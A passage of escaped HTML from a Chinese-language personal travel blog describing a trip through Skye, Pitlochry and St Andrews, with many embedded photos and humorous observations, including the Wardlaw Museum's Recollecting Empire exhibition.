        srcset=&quot;https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;IMG_20220903_142436.214fd6fdc3451795.webp 500w, https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;IMG_20220903_142436.89bae9334781df8b.webp 1000w, https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;IMG_20220903_142436.68eb5415ae1f3bdc.webp 1500w&quot;
	
        src=&quot;https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;IMG_20220903_142436.89bae9334781df8b.webp&quot;
	alt=&quot;Old Man of Storr&quot;
	
	
	height=&quot;3000&quot;
	width=&quot;4000&quot;
	
	loading=&quot;lazy&quot;
	decoding=&quot;async&quot;
    &#x2F;&gt;
&lt;&#x2F;a&gt;


&lt;p&gt;Old Man of
Storr&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;得名于山体像人的侧脸。Storr&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;据说来自古诺斯语，具体我不清楚。&lt;&#x2F;p&gt;
&lt;p&gt;从这里到下一个景点的路上有一个公共厕所。那个公共厕所有四个区：房车、女、男、自行车。房车需要换水，这个可以理解，但自行车为什么有单独的区令我百思不得其解。难道说自行车也是一种性别？另外那座厕所里面有停止使用的刷卡机，看来曾经也是收费的，后来良心发现了。&lt;&#x2F;p&gt;
&lt;h3 id=&quot;An_Leth-Allt&quot;&gt;An Leth-Allt&lt;&#x2F;h3&gt;
&lt;p&gt;这里的看点应该是瀑布。不过我们去的时候瀑布水流太小了，基本看不见。我倒是觉得海滩这几个废弃建筑挺有趣。根据介绍牌，它们曾经是处理硅藻土的作坊，直到&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;1950&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;年代才被废弃。&lt;&#x2F;p&gt;








&lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;assets&#x2F;IMG_20220903_150140.jpg&quot; target=&quot;_blank&quot;&gt;
    &lt;img
        srcset=&quot;https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;IMG_20220903_150140.fb7c98715574ce5f.webp 500w, https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;IMG_20220903_150140.c043eb9d95d6cf94.webp 1000w, https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;IMG_20220903_150140.b57e66a97d76d0ca.webp 1500w&quot;
	
        src=&quot;https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;IMG_20220903_150140.c043eb9d95d6cf94.webp&quot;
	alt=&quot;海滩废弃小屋&quot;
	
	
	height=&quot;3000&quot;
	width=&quot;4000&quot;
	
	loading=&quot;lazy&quot;
	decoding=&quot;async&quot;
    &#x2F;&gt;
&lt;&#x2F;a&gt;


&lt;h3 id=&quot;Creag_an_Fhèilidh&quot;&gt;Creag an Fhèilidh&lt;&#x2F;h3&gt;
&lt;p&gt;翻译成中文是“像苏格兰裙的岩石&lt;span class=&quot;halt&quot;&gt;”&lt;&#x2F;span&gt;。图中最远处的岩石可以清晰地看出有上下两层。上层是硬的玄武岩，下层是软的砂岩，确实有些像苏格兰裙。&lt;&#x2F;p&gt;








&lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;assets&#x2F;IMG_20220903_152648.jpg&quot; target=&quot;_blank&quot;&gt;
    &lt;img
        srcset=&quot;https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;IMG_20220903_152648.b6aeed5ad6cf7845.webp 500w, https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;IMG_20220903_152648.e76bc5a3ee3ac6d8.webp 1000w, https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;IMG_20220903_152648.d02dc90681d7e89b.webp 1500w&quot;
	
        src=&quot;https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;IMG_20220903_152648.e76bc5a3ee3ac6d8.webp&quot;
	alt=&quot;Kilt rock&quot;
	
	
	height=&quot;4000&quot;
	width=&quot;3000&quot;
	
	loading=&quot;lazy&quot;
	decoding=&quot;async&quot;
    &#x2F;&gt;
&lt;&#x2F;a&gt;


&lt;p&gt;观景台有块牌子特别搞笑，没想到恐龙时代就有苏格兰国旗了。更没想到的是当时的恐龙直接把国旗涂到脸上。&lt;&#x2F;p&gt;








&lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;assets&#x2F;IMG_20220903_152440.jpg&quot; target=&quot;_blank&quot;&gt;
    &lt;img
        srcset=&quot;https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;IMG_20220903_152440.c5cb1cb8d70588f9.webp 500w, https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;IMG_20220903_152440.eaa229eb5fd0b65e.webp 1000w, https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;IMG_20220903_152440.17bf30bb7c42c4d0.webp 1500w&quot;
	
        src=&quot;https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;IMG_20220903_152440.eaa229eb5fd0b65e.webp&quot;
	alt=&quot;脸上涂着苏格兰国旗的恐龙&quot;
	
	
	height=&quot;3000&quot;
	width=&quot;4000&quot;
	
	loading=&quot;lazy&quot;
	decoding=&quot;async&quot;
    &#x2F;&gt;
&lt;&#x2F;a&gt;


&lt;p&gt;另外在停车场看到了双头骑士的摩托车——一辆车有两个头盔。美国有无头骑士，苏格兰有双头骑士，这代表了头量守恒。&lt;&#x2F;p&gt;








&lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;assets&#x2F;IMG_20220903_153646.jpg&quot; target=&quot;_blank&quot;&gt;
    &lt;img
        srcset=&quot;https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;IMG_20220903_153646.c72e5fc291ccb60c.webp 500w, https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;IMG_20220903_153646.2b5ec91e8ac4bbc3.webp 1000w, https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;IMG_20220903_153646.a47b00cc05138963.webp 1500w&quot;
	
        src=&quot;https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;IMG_20220903_153646.2b5ec91e8ac4bbc3.webp&quot;
	alt=&quot;放了两个头盔的摩托车&quot;
	
	
	height=&quot;3000&quot;
	width=&quot;4000&quot;
	
	loading=&quot;lazy&quot;
	decoding=&quot;async&quot;
    &#x2F;&gt;
&lt;&#x2F;a&gt;


&lt;p&gt;还有活的大众&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;2&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;型。&lt;&#x2F;p&gt;








&lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;assets&#x2F;IMG_20220903_153726.jpg&quot; target=&quot;_blank&quot;&gt;
    &lt;img
        srcset=&quot;https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;IMG_20220903_153726.881637dc76cd6c52.webp 500w, https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;IMG_20220903_153726.46c115af691eb6ef.webp 1000w, https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;IMG_20220903_153726.cf5491e90d4efd3d.webp 1500w&quot;
	
        src=&quot;https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;IMG_20220903_153726.46c115af691eb6ef.webp&quot;
	alt=&quot;大众2型&quot;
	
	
	height=&quot;3000&quot;
	width=&quot;4000&quot;
	
	loading=&quot;lazy&quot;
	decoding=&quot;async&quot;
    &#x2F;&gt;
&lt;&#x2F;a&gt;


&lt;p&gt;然后我们原路返回，回到威廉堡过夜。一夜无话。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;Dalwhinnie_Distillery&quot;&gt;Dalwhinnie Distillery&lt;&#x2F;h2&gt;
&lt;p&gt;大早上冒雨参观了苏格兰海拔最高的威士忌酒厂——的礼品店。我不喝酒，但来都来了，和一起旅行的朋友合购了一瓶&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;700&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;毫升十五年的单一麦芽威士忌。回去以后喝了，结论是一般。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;Pitlochry&quot;&gt;Pitlochry&lt;&#x2F;h2&gt;
&lt;p&gt;去圣安德鲁斯路过的小镇。这趟旅行可能是真没啥景点了，特意让我们吃这小镇的冰淇淋。这冰淇淋主打混有苏格兰最小酒厂威士忌的口味，味道还行，就是八喜朗姆味。另外吃起来粘牙，怀疑胶放多了。&lt;&#x2F;p&gt;
&lt;div class=&quot;columns c9-16&quot;&gt;








&lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;assets&#x2F;IMG_20220904_113339.jpg&quot; target=&quot;_blank&quot;&gt;
    &lt;img
        srcset=&quot;https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;IMG_20220904_113339.f1e14ae48a06ac8a.webp 500w, https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;IMG_20220904_113339.7ab6d000c477742d.webp 1000w, https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;IMG_20220904_113339.cebcd17088fe3bcf.webp 1500w&quot;
	
        src=&quot;https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;IMG_20220904_113339.7ab6d000c477742d.webp&quot;
	alt=&quot;单一麦芽威士忌冰淇淋&quot;
	
	
	height=&quot;4000&quot;
	width=&quot;3000&quot;
	
	loading=&quot;lazy&quot;
	decoding=&quot;async&quot;
    &#x2F;&gt;
&lt;&#x2F;a&gt;










&lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;assets&#x2F;IMG_20220904_113926.jpg&quot; target=&quot;_blank&quot;&gt;
    &lt;img
        srcset=&quot;https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;IMG_20220904_113926.7a2aa7e506039ea4.webp 500w, https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;IMG_20220904_113926.8232fe0d388c9c2d.webp 1000w, https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;IMG_20220904_113926.ccb86cec09456791.webp 1500w&quot;
	
        src=&quot;https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;IMG_20220904_113926.8232fe0d388c9c2d.webp&quot;
	alt=&quot;蛋筒里的蜘蛛&quot;
	
	
	height=&quot;3000&quot;
	width=&quot;4000&quot;
	
	loading=&quot;lazy&quot;
	decoding=&quot;async&quot;
    &#x2F;&gt;
&lt;&#x2F;a&gt;


&lt;&#x2F;div&gt;
&lt;p&gt;比胶放多了更可怕的是同行的女生把球快吃完了发现桶里有只蜘蛛。太刺激了！&lt;&#x2F;p&gt;
&lt;h2 id=&quot;珀斯&quot;&gt;珀斯&lt;&#x2F;h2&gt;
&lt;p&gt;兄弟们，上一秒还在苏格兰，下一秒就到西澳大利亚首都啦！在珀斯没有玩，只是吃了个麦当劳当午餐。珀斯的麦当劳厕所没有锁，很令人惊讶。&lt;&#x2F;p&gt;
&lt;p&gt;另外在麦当劳门口见到了一辆在椅子上套塑料袋的自行车。这种做法太令人怀念了，是时候给我的车也套上塑料袋了。&lt;&#x2F;p&gt;








&lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;assets&#x2F;IMG_20220904_130754.jpg&quot; target=&quot;_blank&quot;&gt;
    &lt;img
        srcset=&quot;https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;IMG_20220904_130754.8f27638c4ef10f0f.webp 500w, https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;IMG_20220904_130754.892ae1494078caa1.webp 1000w, https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;IMG_20220904_130754.679bc21c16d31725.webp 1500w&quot;
	
        src=&quot;https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;IMG_20220904_130754.892ae1494078caa1.webp&quot;
	alt=&quot;椅子上套塑料袋的自行车&quot;
	
	
	height=&quot;3000&quot;
	width=&quot;4000&quot;
	
	loading=&quot;lazy&quot;
	decoding=&quot;async&quot;
    &#x2F;&gt;
&lt;&#x2F;a&gt;


&lt;h2 id=&quot;圣安德鲁斯&quot;&gt;圣安德鲁斯&lt;&#x2F;h2&gt;
&lt;p&gt;我对圣安德鲁斯的唯一印象是&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;&lt;a rel=&quot;external&quot; href=&quot;https:&#x2F;&#x2F;www.st-andrews.ac.uk&#x2F;computer-science&#x2F;people&#x2F;ecb10&#x2F;&quot;&gt;Idris&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;的作者在圣安德鲁斯大学当副教授&lt;&#x2F;a&gt;。但这里似乎是以高尔夫球发源地与最古老的高尔夫球场闻名。高尔夫球伤透了我的心，所以我没有参观那块高尔夫球场。&lt;&#x2F;p&gt;
&lt;p&gt;我们&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;9&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;月&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;4&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;日到达这个城镇，当时是圣安德鲁斯大学的迎新周。一路上都是穿着红袍（red
gown）的学生结伴而行，我有些思念穿校服的日子了。吃出蜘蛛的女生还没下车就说这里才是她理想的大学，等游览完回到车上她还这么声称。那个女生在英格兰上学，旅途中抱怨了一路英格兰和中国。我很高兴她找到了自己喜欢的地方，也许她会减少抱怨了。&lt;&#x2F;p&gt;
&lt;h3 id=&quot;圣安德鲁斯大教堂&quot;&gt;圣安德鲁斯大教堂&lt;&#x2F;h3&gt;
&lt;p&gt;我参观的第一站是圣安德鲁斯大教堂。我十分喜欢这种半毁不毁的建筑。这座教堂曾经是苏格兰最大的基督教教堂，在苏格兰宗教改革中被毁。那场改革很血腥，有个&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;24&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;岁的教师在大学门口被烧死&lt;span class=&quot;halt&quot;&gt;。&lt;&#x2F;span&gt;&lt;span id=&#x27;fn-5&#x27; aria-hidden=&#x27;true&#x27;&gt;&lt;input type=&#x27;checkbox&#x27; hidden id=&#x27;fn-5-toggle&#x27;&#x2F;&gt;&lt;label for=&#x27;fn-5-toggle&#x27; tabindex=&#x27;0&#x27;&gt;&lt;sup&gt;[5]&lt;&#x2F;sup&gt;&lt;&#x2F;label&gt;&lt;span id=&quot;fn-5-content&quot;&gt;人们为了纪念被烧死的&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Patrick
Hamilton，在他被烧死的地点用地砖拼成了他的首字母。现在的学生相信从首字母上走过会挂科、不能毕业。所以学生们平常会绕道走，等毕业了在字母上跳起来庆祝。&lt;br &#x2F;&gt;








&lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;assets&#x2F;IMG_20220904_144722.jpg&quot; target=&quot;_blank&quot;&gt;
    &lt;img
        srcset=&quot;https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;IMG_20220904_144722.52ec032993faac9b.webp 500w, https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;IMG_20220904_144722.ae7a4a3642e102a0.webp 1000w, https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;IMG_20220904_144722.bf0894de283d382d.webp 1500w&quot;
	
        src=&quot;https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;IMG_20220904_144722.ae7a4a3642e102a0.webp&quot;
	alt=&quot;PH首字母&quot;
	
	
	height=&quot;4000&quot;
	width=&quot;3000&quot;
	
	loading=&quot;lazy&quot;
	decoding=&quot;async&quot;
    &#x2F;&gt;
&lt;&#x2F;a&gt;


&lt;br &#x2F;&gt;
另外当时当地主教（James
Sharp）也在大学教书，&lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;highland-three-day-trip&#x2F;#Wardlaw_Museum&quot;&gt;后面参观的博物馆&lt;&#x2F;a&gt;里有主教被杀死的油画。&lt;br &#x2F;&gt;








&lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;assets&#x2F;IMG_20220904_150513.jpg&quot; target=&quot;_blank&quot;&gt;
    &lt;img
        srcset=&quot;https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;IMG_20220904_150513.deec4ef2586cd83c.webp 500w, https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;IMG_20220904_150513.588aad78aa69a8b3.webp 1000w, https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;IMG_20220904_150513.883b81f2e684249f.webp 1500w&quot;
	
        src=&quot;https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;IMG_20220904_150513.588aad78aa69a8b3.webp&quot;
	alt=&quot;Assassination of an Archbishop&quot;
	
	
	height=&quot;4000&quot;
	width=&quot;3000&quot;
	
	loading=&quot;lazy&quot;
	decoding=&quot;async&quot;
    &#x2F;&gt;
&lt;&#x2F;a&gt;


&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;p&gt;








&lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;assets&#x2F;IMG_20220904_142213.jpg&quot; target=&quot;_blank&quot;&gt;
    &lt;img
        srcset=&quot;https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;IMG_20220904_142213.5c202de79a95dbe2.webp 500w, https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;IMG_20220904_142213.535db008665e71c6.webp 1000w, https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;IMG_20220904_142213.8426920b47cecc59.webp 1500w&quot;
	
        src=&quot;https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;IMG_20220904_142213.535db008665e71c6.webp&quot;
	alt=&quot;圣安德鲁斯大教堂&quot;
	
	
	height=&quot;3000&quot;
	width=&quot;4000&quot;
	
	loading=&quot;lazy&quot;
	decoding=&quot;async&quot;
    &#x2F;&gt;
&lt;&#x2F;a&gt;


&lt;div class=&quot;columns&quot;&gt;








&lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;assets&#x2F;IMG_20220904_143157.jpg&quot; target=&quot;_blank&quot;&gt;
    &lt;img
        srcset=&quot;https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;IMG_20220904_143157.ca7a41ddab0620fe.webp 500w, https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;IMG_20220904_143157.e2ed71d71fc3180d.webp 1000w, https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;IMG_20220904_143157.3097aa635fbd4425.webp 1500w&quot;
	
        src=&quot;https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;IMG_20220904_143157.e2ed71d71fc3180d.webp&quot;
	alt=&quot;有洞的棺材&quot;
	
	
	height=&quot;4000&quot;
	width=&quot;3000&quot;
	
	loading=&quot;lazy&quot;
	decoding=&quot;async&quot;
    &#x2F;&gt;
&lt;&#x2F;a&gt;










&lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;assets&#x2F;IMG_20220904_143656.jpg&quot; target=&quot;_blank&quot;&gt;
    &lt;img
        srcset=&quot;https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;IMG_20220904_143656.6997dc42923bd575.webp 500w, https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;IMG_20220904_143656.7c97ba013c1dee3c.webp 1000w, https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;IMG_20220904_143656.e8e7bf0d6fb66ba3.webp 1500w&quot;
	
        src=&quot;https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;IMG_20220904_143656.7c97ba013c1dee3c.webp&quot;
	alt=&quot;高尔夫球墓碑&quot;
	
	
	height=&quot;4000&quot;
	width=&quot;3000&quot;
	
	loading=&quot;lazy&quot;
	decoding=&quot;async&quot;
    &#x2F;&gt;
&lt;&#x2F;a&gt;


&lt;&#x2F;div&gt;
&lt;p&gt;不知道棺材里的洞是干什么用的。防止雨水进了棺材出不去么？&lt;&#x2F;p&gt;
&lt;p&gt;圣安德鲁斯不愧是高尔夫发源地，还有高尔夫主题的墓碑。&lt;&#x2F;p&gt;
&lt;h3 id=&quot;Wardlaw_Museum&quot;&gt;Wardlaw Museum&lt;&#x2F;h3&gt;
&lt;p&gt;出了大教堂，本来想去海边转转。结果误打误撞走进了圣安德鲁斯大学的博物馆。这博物馆不大，但和大学历史联系紧密，还有不少互动项目，还挺有趣的。&lt;&#x2F;p&gt;
&lt;p&gt;我没有拍满大街红袍学生的照片，大家对着博物馆里这张画想象一下吧。&lt;&#x2F;p&gt;








&lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;assets&#x2F;IMG_20220904_145603.jpg&quot; target=&quot;_blank&quot;&gt;
    &lt;img
        srcset=&quot;https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;IMG_20220904_145603.6b26d8601e9d2ee7.webp 500w, https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;IMG_20220904_145603.0c51e036634642e4.webp 1000w, https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;IMG_20220904_145603.584ecb31ae61ed84.webp 1500w&quot;
	
        src=&quot;https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;IMG_20220904_145603.0c51e036634642e4.webp&quot;
	alt=&quot;An Architectural Fantasy&quot;
	
	
	height=&quot;3000&quot;
	width=&quot;4000&quot;
	
	loading=&quot;lazy&quot;
	decoding=&quot;async&quot;
    &#x2F;&gt;
&lt;&#x2F;a&gt;


&lt;p&gt;博物馆里也介绍了大学标志性的红袍。原来这曾经是本科生的强制服装，目的是让他们的房主能一眼认出他们，不给他们上酒。我记得欧洲早年间租房是包伙食的，这红袍应该是那段时期的产物吧。现在则是在一些正式场合才会穿。&lt;&#x2F;p&gt;
&lt;p&gt;另外圣安德鲁斯大学的学生在毕业时不会戴学位帽（mortar
board&lt;span class=&quot;halt&quot;&gt;）&lt;&#x2F;span&gt;，故事挺有趣的：最开始时英国大学不招女学生，圣安大学在&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;1877&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;年尝试了女生的远程学习项目。当时的男学生十分愤怒，把学位帽抛到海里以示抗议。后来不戴帽子毕业就成了传统，男女学生都不戴了。&lt;&#x2F;p&gt;
&lt;div class=&quot;maybe-columns&quot;&gt;








&lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;assets&#x2F;IMG_20220904_145845.jpg&quot; target=&quot;_blank&quot;&gt;
    &lt;img
        srcset=&quot;https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;IMG_20220904_145845.968365955a8c090a.webp 500w, https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;IMG_20220904_145845.3199b234334dfa06.webp 1000w, https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;IMG_20220904_145845.9c37fc113c9d015a.webp 1500w&quot;
	
        src=&quot;https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;IMG_20220904_145845.3199b234334dfa06.webp&quot;
	alt=&quot;Banner of the Coat of Arms&quot;
	
	
	height=&quot;4000&quot;
	width=&quot;3000&quot;
	
	loading=&quot;lazy&quot;
	decoding=&quot;async&quot;
    &#x2F;&gt;
&lt;&#x2F;a&gt;


&lt;p&gt;这个校徽的旗帜看起来很棒，感觉可以当窗帘。其中&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;lion
rampant&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;代表苏格兰。月亮代表建校时的教皇。钻石代表建校者&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Wardlaw&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;主教。&lt;&#x2F;p&gt;
&lt;&#x2F;div&gt;
&lt;p&gt;其实这个小博物馆最棒的是当时的临时展：Recollecting
Empire。这个展是&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Recollecting
Empire&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;计划的阶段性展示。该计划的目的是调查大学收藏里外国文物是怎么来到这里的、反思他们对文物的介绍等等。&lt;&#x2F;p&gt;
&lt;p&gt;这里的介绍牌都有两种文字：看似讲述一切的黑体、对黑体进行标注与评论的手写体。其中手写体只用大写字母，看起来像是对冷冰冰介绍的呐喊。下面是介绍展览本身的介绍牌。&lt;&#x2F;p&gt;
&lt;div class=&quot;columns&quot;&gt;








&lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;assets&#x2F;IMG_20220904_151411.jpg&quot; target=&quot;_blank&quot;&gt;
    &lt;img
        srcset=&quot;https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;IMG_20220904_151411.4ad6e5cdcf6e7f23.webp 500w, https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;IMG_20220904_151411.80153d3c8fecad7e.webp 1000w, https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;IMG_20220904_151411.7100badb46e9c844.webp 1500w&quot;
	
        src=&quot;https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;IMG_20220904_151411.80153d3c8fecad7e.webp&quot;
	alt=&quot;介绍牌1&quot;
	
	
	height=&quot;4000&quot;
	width=&quot;3000&quot;
	
	loading=&quot;lazy&quot;
	decoding=&quot;async&quot;
    &#x2F;&gt;
&lt;&#x2F;a&gt;










&lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;assets&#x2F;IMG_20220904_151415.jpg&quot; target=&quot;_blank&quot;&gt;
    &lt;img
        srcset=&quot;https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;IMG_20220904_151415.7f688b64dc06daf9.webp 500w, https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;IMG_20220904_151415.b2384463f54e6cf1.webp 1000w, https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;IMG_20220904_151415.3f53e8b314b212dd.webp 1500w&quot;
	
        src=&quot;https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;IMG_20220904_151415.b2384463f54e6cf1.webp&quot;
	alt=&quot;介绍牌2&quot;
	
	
	height=&quot;4000&quot;
	width=&quot;3000&quot;
	
	loading=&quot;lazy&quot;
	decoding=&quot;async&quot;
    &#x2F;&gt;
&lt;&#x2F;a&gt;


&lt;&#x2F;div&gt;
&lt;p&gt;其实我最开始是对这个展览无感的，直到我看到他们以前把我国的编钟里的一个钟仅仅当作手铃来展示。在&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Recollecting
Empire&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;企划开始后他们才知道它是编钟的一部分，并且放出了完整编钟的图片、介绍编钟不亚于钢琴。另外告诉他们介绍错误的貌似是一位中国学生。&lt;&#x2F;p&gt;








&lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;assets&#x2F;IMG_20220904_151225.jpg&quot; target=&quot;_blank&quot;&gt;
    &lt;img
